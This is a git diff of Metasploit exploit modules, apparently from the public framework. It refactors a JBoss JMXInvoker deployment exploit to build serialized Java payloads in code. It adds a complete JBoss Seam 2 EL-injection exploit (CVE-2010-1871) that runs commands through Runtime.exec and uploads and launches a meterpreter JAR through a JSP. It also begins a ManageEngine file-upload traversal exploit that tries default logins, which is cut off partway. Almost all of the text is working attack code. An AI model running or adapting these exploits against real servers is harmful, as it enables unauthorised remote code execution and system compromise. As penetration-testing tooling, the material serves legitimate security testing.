a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb index 41865e2c6e..c56b3aba1f 100644 --- a/modules/exploits/multi/http/jboss_invoke_deploy.rb +++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb @@ -88,9 +88,9 @@ class Metasploit4 < Msf::Exploit::Remote end def check - res = send_serialized_request('version.bin') + res = send_serialized_request('version') if res.nil? - vprint_error("Connection timed out") + vprint_error('Connection timed out') return Exploit::CheckCode::Unknown elsif res.code != 200 vprint_error("Unable to request version, returned http code is: #{res.code.to_s}") @@ -103,7 +103,7 @@ class Metasploit4 < Msf::Exploit::Remote return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_5_/ if res.body =~ /ServletException/ # Simple check, if we caused an exception. - vprint_status("Target seems vulnerable, but the used JBoss version is not supported by this exploit") + vprint_status('Target seems vulnerable, but the used JBoss version is not supported by this exploit') return Exploit::CheckCode::Appears end @@ -113,31 +113,29 @@ class Metasploit4 < Msf::Exploit::Remote def exploit mytarget = target - if (target.name =~ /Automatic/) + if target.name =~ /Automatic/ mytarget = auto_target - fail_with("Unable to automatically select a target") if not mytarget + fail_with('Unable to automatically select a target') unless mytarget print_status("Automatically selected target: \"#{mytarget.name}\"") else print_status("Using manually select target: \"#{mytarget.name}\"") end - # We use a already serialized stager to deploy the final payload regex_stager_app_base = rand_text_alpha(14) regex_stager_jsp_name = rand_text_alpha(14) name_parameter = rand_text_alpha(8) content_parameter = rand_text_alpha(8) stager_uri = "/#{regex_stager_app_base}/#{regex_stager_jsp_name}.jsp" - stager_code = "A" * 810 # 810 is the size of the stager in the serialized request replace_values = { 'regex_app_base' => regex_stager_app_base, 'regex_jsp_name' => regex_stager_jsp_name, - stager_code => generate_stager(name_parameter, content_parameter) + 'jsp_code' => generate_stager(name_parameter, content_parameter) } - print_status("Deploying stager") - send_serialized_request('installstager.bin', replace_values) + print_status('Deploying stager') + send_serialized_request('installstager', replace_values) print_status("Calling stager: #{stager_uri}") call_uri_mtimes(stager_uri, 5, 'GET') @@ -162,23 +160,21 @@ class Metasploit4 < Msf::Exploit::Remote name_parameter => app_base, content_parameter => b64_war } - }, 20) + }) payload_uri = "/#{app_base}/#{jsp_name}.jsp" print_status("Calling payload: " + payload_uri) res = call_uri_mtimes(payload_uri,5, 'GET') # Remove the payload through stager - print_status("Removing payload through stager") + print_status('Removing payload through stager') delete_payload_uri = stager_uri + "?#{name_parameter}=#{app_base}" - res = send_request_cgi( - {'uri' => delete_payload_uri, - }) + res = send_request_cgi({'uri' => delete_payload_uri}) # Remove the stager - print_status("Removing stager") - send_serialized_request('removestagerfile.bin', replace_values) - send_serialized_request('removestagerdirectory.bin', replace_values) + print_status('Removing stager') + send_serialized_request('removestagerfile', replace_values) + send_serialized_request('removestagerdirectory', replace_values) handler end @@ -226,18 +222,39 @@ catch(Exception e) {} %> EOT - # The script must be exactly 810 characters long, otherwise we might have serialization issues - # Therefore we fill the rest wit spaces - spaces = " " * (810 - stager_script.length) - stager_script << spaces end - def send_serialized_request(file_name , replace_params = {}) - path = File.join( Msf::Config.data_directory, "exploits", "jboss_jmxinvoker", "DeploymentFileRepository", file_name) - data = File.open( path, "rb" ) { |fd| data = fd.read(fd.stat.size) } - - replace_params.each { |key, value| data.gsub!(key, value) } + def send_serialized_request(operation , replace_params = {}) + data = '' + case operation + when 'version' + data = build_get_version.encode + when 'osname' + data = build_get_os.encode + when 'osarch' + data = build_get_arch.encode + when 'installstager' + data = build_install_stager( + war_name: replace_params['regex_app_base'], + jsp_name: replace_params['regex_jsp_name'], + data: replace_params['jsp_code'] + ).encode + when 'removestagerfile' + data = build_delete_stager_file( + dir: "#{replace_params['regex_app_base']}.war", + file: replace_params['regex_jsp_name'], + extension: '.jsp' + ).encode + when 'removestagerdirectory' + data = build_delete_stager_file( + dir: './', + file: replace_params['regex_app_base'], + extension: '.war' + ).encode + else + fail_with(Failure::Unknown, "#{peer} - Unexpected operation") + end res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), @@ -251,20 +268,19 @@ EOT }, 25) - if (not res) or (res.code != 200) - print_error("Failed: Error requesting preserialized request #{file_name}") + unless res && res.code == 200 + print_error("Failed: Error requesting preserialized request #{operation}") return nil end res end - def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil) # JBoss might need some time for the deployment. Try 5 times at most and # wait 5 seconds inbetween tries num_attempts.times do |attempt| - if (verb == "POST") + if verb == "POST" res = send_request_cgi( { 'uri' => uri, @@ -281,17 +297,17 @@ EOT end msg = nil - if (!res) + if res.nil? msg = "Execution failed on #{uri} [No Response]" - elsif (res.code < 200 or res.code >= 300) + elsif res.code < 200 || res.code >= 300 msg = "http request failed to #{uri} [#{res.code}]" - elsif (res.code == 200) + elsif res.code == 200 print_status("Successfully called '#{uri}'") if datastore['VERBOSE'] return res end - if (attempt < num_attempts - 1) - msg << ", retrying in 5 seconds..." + if attempt < num_attempts - 1 + msg << ', retrying in 5 seconds...' print_status(msg) if datastore['VERBOSE'] select(nil, nil, nil, 5) else @@ -303,12 +319,12 @@ EOT def auto_target - print_status("Attempting to automatically select a target") + print_status('Attempting to automatically select a target') - plat = detect_platform() - arch = detect_architecture() + plat = detect_platform + arch = detect_architecture - return nil if (not arch or not plat) + return nil unless arch && plat # see if we have a match targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) } @@ -317,37 +333,408 @@ EOT return nil end - # Try to autodetect the target platform def detect_platform - print_status("Attempting to automatically detect the platform") - res = send_serialized_request("osname.bin") + print_status('Attempting to automatically detect the platform') + res = send_serialized_request('osname') - if (res.body =~ /(Linux|FreeBSD|Windows)/i) + if res.body =~ /(Linux|FreeBSD|Windows)/i os = $1 - if (os =~ /Linux/i) + if os =~ /Linux/i return 'linux' - elsif (os =~ /FreeBSD/i) + elsif os =~ /FreeBSD/i return 'linux' - elsif (os =~ /Windows/i) + elsif os =~ /Windows/i return 'win' end end nil end - # Try to autodetect the architecture - def detect_architecture() - print_status("Attempting to automatically detect the architecture") - res = send_serialized_request("osarch.bin") - if (res.body =~ /(i386|x86)/i) + def detect_architecture + print_status('Attempting to automatically detect the architecture') + res = send_serialized_request('osarch') + if res.body =~ /(i386|x86)/i arch = $1 - if (arch =~ /i386|x86/i) + if arch =~ /i386|x86/i return ARCH_X86 # TODO, more end end nil end + + def build_get_version + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=Server') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'Version') + + build_invocation(stream) + end + + def build_get_os + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'OSName') + + build_invocation(stream) + end + + def build_get_arch + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'OSArch') + + build_invocation(stream) + end + + def build_install_stager(opts = {}) + war_name = "#{opts[:war_name]}.war" + jsp_name = opts[:jsp_name] || '' + extension = opts[:extension] || '.jsp' + data = opts[:data] || '' + + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository'), + Rex::Java::Serialization::Model::EndBlockData.new, + Rex::Java::Serialization::Model::Utf.new(nil, 'store') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + values_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, war_name), + Rex::Java::Serialization::Model::Utf.new(nil, jsp_name), + Rex::Java::Serialization::Model::Utf.new(nil, extension), + Rex::Java::Serialization::Model::Utf.new(nil, data), + builder.new_object( + name: 'java.lang.Boolean', + serial: 0xcd207280d59cfaee, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + fields: [['boolean', 'value']], + data: [['boolean', 0]] + ) + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + types_array = builder.new_array( + values_type: 'java.lang.String;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'boolean') + ], + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << values_array + stream.contents << types_array + + build_invocation_deploy(stream) + end + + def build_delete_stager_file(opts = {}) + dir = opts[:dir] || '' + file = opts[:file] || '' + extension = opts[:extension] || '.jsp' + + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository'), + Rex::Java::Serialization::Model::EndBlockData.new, + Rex::Java::Serialization::Model::Utf.new(nil, 'remove') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + values_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, dir), + Rex::Java::Serialization::Model::Utf.new(nil, file), + Rex::Java::Serialization::Model::Utf.new(nil, extension) + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + types_array = builder.new_array( + values_type: 'java.lang.String;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String') + ], + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << values_array + stream.contents << types_array + + build_invocation_deploy(stream) + end + + def build_invocation(stream_argument) + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + + null_stream = build_null_stream + null_stream_enc = null_stream.encode + null_stream_value = [null_stream_enc.length].pack('N') + null_stream_value << null_stream_enc + null_stream_value << "\xfb\x57\xa7\xaa" + + stream_argument_enc = stream_argument.encode + stream_argument_value = [stream_argument_enc.length].pack('N') + stream_argument_value << stream_argument_enc + stream_argument_value << "\x7b\x87\xa0\xfb" + + stream.contents << build_marshalled_invocation + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x97\x51\x4d\xdd\xd4\x2a\x42\xaf") + stream.contents << build_integer(647347722) + stream.contents << build_marshalled_value + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, stream_argument_value) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x01") + stream.contents << build_invocation_key(5) + stream.contents << build_marshalled_value + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, null_stream_value) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x02") + stream.contents << build_invocation_key(4) + stream.contents << build_invocation_type(1) + stream.contents << build_invocation_key(10) + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + + stream + end + + def build_invocation_deploy(stream_argument) + builder = Rex::Java::Serialization::Builder.new + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + + null_stream = build_null_stream + null_stream_enc = null_stream.encode + null_stream_value = [null_stream_enc.length].pack('N') + null_stream_value << null_stream_enc + null_stream_value << "\xfb\x57\xa7\xaa" + + stream_argument_enc = stream_argument.encode + stream_argument_value = [stream_argument_enc.length].pack('N') + stream_argument_value << stream_argument_enc + stream_argument_value << "\x7b\x87\xa0\xfb" + + stream.contents << build_marshalled_invocation + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x78\x94\x98\x47\xc1\xd0\x53\x87") + stream.contents << build_integer(647347722) + stream.contents << build_marshalled_value + stream.contents << Rex::Java::Serialization::Model::BlockDataLong.new(nil, stream_argument_value) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x01") + stream.contents << build_invocation_key(5) + stream.contents << build_marshalled_value + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, null_stream_value) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x03") + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'JMX_OBJECT_NAME') + stream.contents << builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository') + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << build_invocation_key(4) + stream.contents << build_invocation_type(1) + stream.contents << build_invocation_key(10) + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + + stream + end + + def build_marshalled_invocation + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'org.jboss.invocation.MarshalledInvocation', + serial: 0xf6069527413ea4be, + flags: Rex::Java::Serialization::SC_BLOCK_DATA | Rex::Java::Serialization::SC_EXTERNALIZABLE, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + end + + def build_marshalled_value + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'org.jboss.invocation.MarshalledValue', + serial: 0xeacce0d1f44ad099, + flags: Rex::Java::Serialization::SC_BLOCK_DATA | Rex::Java::Serialization::SC_EXTERNALIZABLE, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + end + + def build_invocation_key(ordinal) + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'org.jboss.invocation.InvocationKey', + serial: 0xb8fb7284d79385f9, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + fields: [ + ['int', 'ordinal'] + ], + data:[ + ['int', ordinal] + ] + ) + end + + def build_invocation_type(ordinal) + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'org.jboss.invocation.InvocationType', + serial: 0x59a73a1ca52b7cbf, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + fields: [ + ['int', 'ordinal'] + ], + data:[ + ['int', ordinal] + ] + ) + end + + def build_integer(value) + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'java.lang.Integer', + serial: 0x12e2a0a4f7818738, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + super_class: builder.new_class( + name: 'java.lang.Number', + serial: 0x86ac951d0b94e08b, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + fields: [ + ['int', 'value'] + ], + data:[ + ['int', value] + ] + ) + end + + def build_null_stream + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [Rex::Java::Serialization::Model::NullReference.new] + + stream + end + end diff --git a/modules/exploits/multi/http/jboss_seam_upload_exec.rb b/modules/exploits/multi/http/jboss_seam_upload_exec.rb new file mode 100644 index 0000000000..2949aaecea --- /dev/null +++ b/modules/exploits/multi/http/jboss_seam_upload_exec.rb @@ -0,0 +1,311 @@ +# +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/proto/http' +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Exploit::FileDropper + + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'JBoss Seam 2 File Upload and Execute', + 'Description' => %q{ + Versions of the JBoss Seam 2 framework < 2.2.1CR2 fails to properly + sanitize inputs to some JBoss Expression Language expressions. As a + result, attackers can gain remote code execution through the + application server. This module leverages RCE to upload and execute + a meterpreter payload. + + Versions of the JBoss AS admin-console are known to be vulnerable to + this exploit, without requiring authentication. Tested against + JBoss AS 5 and 6, running on Linux with JDKs 6 and 7. + + This module provides a more efficient method of exploitation - it + does not loop to find desired Java classes and methods. + + NOTE: the check for upload success is not 100% accurate. + NOTE 2: The module uploads the meterpreter JAR and a JSP to launch + it. + + }, + 'Author' => [ 'vulp1n3 ' ], + 'References' => + [ + # JBoss EAP 4.3.0 does not properly sanitize JBoss EL inputs + ['CVE', '2010-1871'], + ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=615956'], + ['URL', 'http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html'], + ['URL', 'http://archives.neohapsis.com/archives/bugtraq/2013-05/0117.html'] + ], + 'DisclosureDate' => "Aug 05 2010", + 'License' => MSF_LICENSE, + 'Platform' => %w{ java }, + 'Targets' => + [ + [ 'Java Universal', + { + 'Arch' => ARCH_JAVA, + 'Platform' => 'java' + }, + ] + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('AGENT', [ true, "User-Agent to send with requests", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"]), + OptString.new('CTYPE', [ true, "Content-Type to send with requests", "application/x-www-form-urlencoded"]), + OptString.new('TARGETURI', [ true, "URI that is built on JBoss Seam 2", "/admin-console/login.seam"]), + OptInt.new('TIMEOUT', [ true, 'Timeout for web requests', 10]), + OptString.new('FNAME', [ false, "Name of file to create - NO EXTENSION! (default: random)", nil]), + OptInt.new('CHUNKSIZE', [ false, 'Size in bytes of chunk per request', 1024]), + ], self.class) + end + + + def check + vprint_status("#{rhost}:#{rport} Checking for vulnerable JBoss Seam 2") + uri = target_uri.path + res = send_request_cgi( + { + 'uri' => normalize_uri(uri), + 'method' => 'POST', + 'ctype' => datastore['CTYPE'], + 'agent' => datastore['AGENT'], + 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}" + }, timeout=datastore['TIMEOUT']) + if (res and res.code == 302 and res.headers['Location']) + vprint_debug("Server sent a 302 with location") + if (res.headers['Location'] =~ %r(public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime\%28\%29)) + report_vuln({ + :host => rhost, + :port => rport, + :name => "#{self.name} - #{uri}", + :refs => self.references, + :info => "Module #{self.fullname} found vulnerable JBoss Seam 2 resource." + }) + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + else + return Exploit::CheckCode::Unknown + end + + # If we reach this point, we didn't find the service + return Exploit::CheckCode::Unknown + end + + + def execute_cmd(cmd) + cmd_to_run = Rex::Text.uri_encode(cmd) + vprint_status("#{rhost}:#{rport} Sending command: #{cmd_to_run}") + uri = target_uri.path + res = send_request_cgi( + { + 'uri' => normalize_uri(uri), + 'method' => 'POST', + 'ctype' => datastore['CTYPE'], + 'agent' => datastore['AGENT'], + 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('#{cmd_to_run}')}" + }, timeout=datastore['TIMEOUT']) + if (res and res.code == 302 and res.headers['Location']) + if (res.headers['Location'] =~ %r(user=java.lang.UNIXProcess)) + vprint_status("#{rhost}:#{rport} Exploit successful") + else + vprint_status("#{rhost}:#{rport} Exploit failed.") + end + else + vprint_status("#{rhost}:#{rport} Exploit failed.") + end + end + + + def call_jsp(jspname) + # TODO ugly way to strip off last resource on a path + uri = target_uri.path + *keep,ignore = uri.split(/\//) + keep.push(jspname) + uri = keep.join("/") + uri = "/" + uri if (uri[0] != "/") + + res = send_request_cgi( + { + 'uri' => normalize_uri(uri), + 'method' => 'POST', + 'ctype' => datastore['CTYPE'], + 'agent' => datastore['AGENT'], + 'data' => "sessionid=" + Rex::Text.rand_text_alpha(32) + }, timeout=datastore['TIMEOUT']) + if (res and res.code == 200) + vprint_status("Successful request to JSP") + else + vprint_error("Failed to request JSP") + end + end + + + def upload_jsp(filename,jarname) + jsp_text = <<%@ page import="java.net.*" +%><% +URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("/#{jarname}")).toURI().toURL()}); +Class c = cl.loadClass("metasploit.Payload"); +c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]}); +%> +EOJSP + vprint_status("Uploading JSP to launch payload") + status = upload_file_chunk(filename,'false',jsp_text) + if status + vprint_status("JSP uploaded to to #{filename}") + else + vprint_error("Failed to upload file.") + end + + @pl_sent = true + end + + + def upload_file_chunk(filename, append='false', chunk) + # create URL-safe Base64-encoded version of chunk + b64 = Rex::Text.encode_base64(chunk) + b64 = b64.gsub("+","%2b") + b64 = b64.gsub("/","%2f") + + uri = target_uri.path + res = send_request_cgi( + { + 'uri' => normalize_uri(uri), + 'method' => 'POST', + 'ctype' => datastore['CTYPE'], + 'agent' => datastore['AGENT'], + 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.io.FileOutputStream').getConstructor('java.lang.String',expressions.getClass().forName('java.lang.Boolean').getField('TYPE').get(null)).newInstance(request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/'),#{append}).write(expressions.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer(request.getParameter('c'))).close()}&c=" + b64 + }, timeout=datastore['TIMEOUT']) + if (res and res.code == 302 and res.headers['Location']) + # TODO Including the conversationId part in this regex might cause + # failure on other Seam applications. Needs more testing + if (res.headers['Location'] =~ %r(user=&conversationId)) + #vprint_status("#{rhost}:#{rport} Exploit successful.") + return true + else + #vprint_status("#{rhost}:#{rport} Exploit failed.") + return false + end + else + #vprint_status("#{rhost}:#{rport} Exploit failed.") + return false + end + end + + + def get_full_path(filename) + #vprint_debug("Trying to find full path for #{filename}") + + uri = target_uri.path + res = send_request_cgi( + { + 'uri' => normalize_uri(uri), + 'method' => 'POST', + 'ctype' => datastore['CTYPE'], + 'agent' => datastore['AGENT'], + 'data' => "actionOutcome=/success.xhtml?user%3d%23{request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/')}" + }, timeout=datastore['TIMEOUT']) + if (res and res.code == 302 and res.headers['Location']) + # the user argument should be set to the result of our call - which + # will be the full path of our file + matches = /.*user=(.+)\&.*/.match(res.headers['Location']) + #vprint_debug("Location is " + res.headers['Location']) + if (matches and matches.captures) + return Rex::Text::uri_decode(matches.captures[0]) + else + return nil + end + else + return nil + end + end + + + def java_stager(fname, chunk_size) + @payload_exe = fname + ".jar" + jsp_name = fname + ".jsp" + + #data = payload.encoded_jar.pack + data = payload.encoded_jar.pack + + append = 'false' + while (data.length > chunk_size) + status = upload_file_chunk(@payload_exe, append, data[0, chunk_size]) + if status + vprint_debug("Uploaded chunk") + else + vprint_error("Failed to upload chunk") + break + end + data = data[chunk_size, data.length - chunk_size] + # first chunk is an overwrite, afterwards, we need to append + append = 'true' + end + status = upload_file_chunk(@payload_exe, 'true', data) + if status + vprint_status("Payload uploaded to " + @payload_exe) + else + vprint_error("Failed to upload file.") + end + + # write a JSP that can call the payload in the jar + upload_jsp(jsp_name, @payload_exe) + + pe_path = get_full_path(@payload_exe) || @payload_exe + jsp_path = get_full_path(jsp_name) || jsp_name + # try to clean up our stuff; + register_files_for_cleanup(pe_path, jsp_path) + + # call the JSP to launch the payload + call_jsp(jsp_name) + end + + def exploit + @pl_sent = false + + if check == Exploit::CheckCode::Vulnerable + + fname = datastore['FNAME'] || Rex::Text.rand_text_alpha(8+rand(8)) + + vprint_status("#{rhost}:#{rport} Host is vulnerable") + vprint_status("#{rhost}:#{rport} Uploading file...") + + # chunking code based on struts_code_exec_exception_delegator + append = 'false' + chunk_size = datastore['CHUNKSIZE'] + # sanity check + if (chunk_size <= 0) + vprint_error("Invalid chunk size #{chunk_size}") + return + end + + vprint_debug("Sending in chunks of #{chunk_size}") + + case target['Platform'] + when 'java' + java_stager(fname, chunk_size) + else + fail_with(Failure::NoTarget, 'Unsupported target platform!') + end + + handler + end + end +end + diff --git a/modules/exploits/multi/http/manageengine_auth_upload.rb b/modules/exploits/multi/http/manageengine_auth_upload.rb new file mode 100644 index 0000000000..5280c8f0a3 --- /dev/null +++ b/modules/exploits/multi/http/manageengine_auth_upload.rb @@ -0,0 +1,437 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ManageEngine Multiple Products Authenticated File Upload', + 'Description' => %q{ + This module exploits a directory traversal vulnerability in ManageEngine ServiceDesk, + AssetExplorer, SupportCenter and IT360 when uploading attachment files. The JSP that accepts + the upload does not handle correctly '../' sequences, which can be abused to write + to the file system. Authentication is needed to exploit this vulnerability, but this module + will attempt to login using the default credentials for the administrator and guest + accounts. Alternatively, you can provide a pre-authenticated cookie or a username / password. + For IT360 targets, enter the RPORT of the ServiceDesk instance (usually 8400). All + versions of ServiceDesk prior v9 build 9031 (including MSP but excluding v4), AssetExplorer, + SupportCenter and IT360 (including MSP) are vulnerable. At the time of release of this + module, only ServiceDesk v9 has been fixed in build 9031 and above. This module has been + been tested successfully in Windows and Linux on several versions. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability Discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-5301'], + ['OSVDB', '116733'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_sd_file_upload.txt'], + ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/5'] + ], + 'DefaultOptions' => { 'WfsDelay' => 30 }, + 'Privileged' => false, # Privileged on Windows but not on Linux targets + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'Automatic', { } ], + [ 'ServiceDesk Plus v5-v7.1 < b7016/AssetExplorer v4/SupportCenter v5-v7.9', + { + 'attachment_path' => '/workorder/Attachment.jsp' + } + ], + [ 'ServiceDesk Plus/Plus MSP v7.1 >= b7016 - v9.0 < b9031/AssetExplorer v5-v6.1', + { + 'attachment_path' => '/common/FileAttachment.jsp' + } + ], + [ 'IT360 v8-v10.4', + { + 'attachment_path' => '/common/FileAttachment.jsp' + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Dec 15 2014')) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('JSESSIONID', + [false, 'Pre-authenticated JSESSIONID cookie (non-IT360 targets)']), + OptString.new('IAMAGENTTICKET', + [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']), + OptString.new('USERNAME', + [true, 'The username to login as', 'guest']), + OptString.new('PASSWORD', + [true, 'Password for the specified username', 'guest']), + OptString.new('DOMAIN_NAME', 